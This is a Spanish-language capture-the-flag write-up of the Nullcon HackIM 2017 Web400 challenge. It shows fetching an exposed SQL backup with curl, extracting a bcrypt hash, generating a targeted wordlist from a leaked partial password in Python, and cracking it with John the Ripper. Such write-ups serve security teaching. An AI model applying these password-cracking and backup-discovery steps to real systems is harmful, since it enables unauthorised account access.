Nullcon CTF - Web400 (400 pts)
Solución del reto HackIM’17 - Web400 del Nullcon CTF 2017 por Alguien y @h4ng3r.
Descripción
Análisis
El reto nos presenta un formulario de login y nos dice que obtendremos el flag tras iniciar sesión en él. Y no hay más, a darle…
Solución
Al revisar el código fuente de la web observamos un curioso comentario HTML:
<!-- The partial password is: kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p -->
<!-- sql file exported and backed up -->
Esto nos sugiere que hay un backup de la base de datos escondido por ahí. Tras pedir algunos ficheros como db.sql o backup.sql dimos con el correcto: database.sql
curl http://54.152.19.210/web400/database.sql
El contenido del backup era:
--
-- Database: `hackimweb400`
--
CREATE DATABASE IF NOT EXISTS `hackimweb400` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `hackimweb400`;
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(200) NOT NULL,
`password_bcrypt` varchar(80) NOT NULL,
`fname` varchar(30) NOT NULL,
`description` varchar(200) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `username`, `password_bcrypt`, `fname`, `description`) VALUES (1, 'jaffa', '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq', 'hackim', 'Hash cracking is futile!');
Observamos un único registro en la tabla users
. La contraseña del usuario jaffa
está hasheada con BCrypt. Debemos crackearla y para esto nos vale nuevamente el
comentario HTML que descubrimos al inicio.
<!-- The partial password is: kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p -->
Nos dan una parte de la contraseña y por lo visto no la vamos a encontrar en ninguna base de datos online o diccionario. Nos toca crear nuestro propio diccionario usando la contraseña parcial como prefijo y/o sufijo. Para ello escribimos un sencillo script en Python:
v = "0123456789abcdefghijklmnopqrstuvwxyz"
p = "kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p"
def imprimir(n, s):
for c in v:
print s + c
print c + s
if n > 0:
imprimir(n - 1, s + c)
imprimir(n - 1, c + s)
imprimir(2, p)
El script considera que el juego de carcteres es el mismo que el de la clave parcial (letras minusculas y números). Lo ejecutamos así:
python gen.py > dict.txt
Y luego usamos John The Ripper para crackear el hash:
echo '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq' > hash.txt
john --fork=8 --wordlist=dict.txt --format=bcrypt hash.txt
Varios minutos y una siesta más tarde…
john --show hash.txt
?:kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld
Por último iniciamos sesión con el usuario jaffa y la clave kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld para obtener el flag: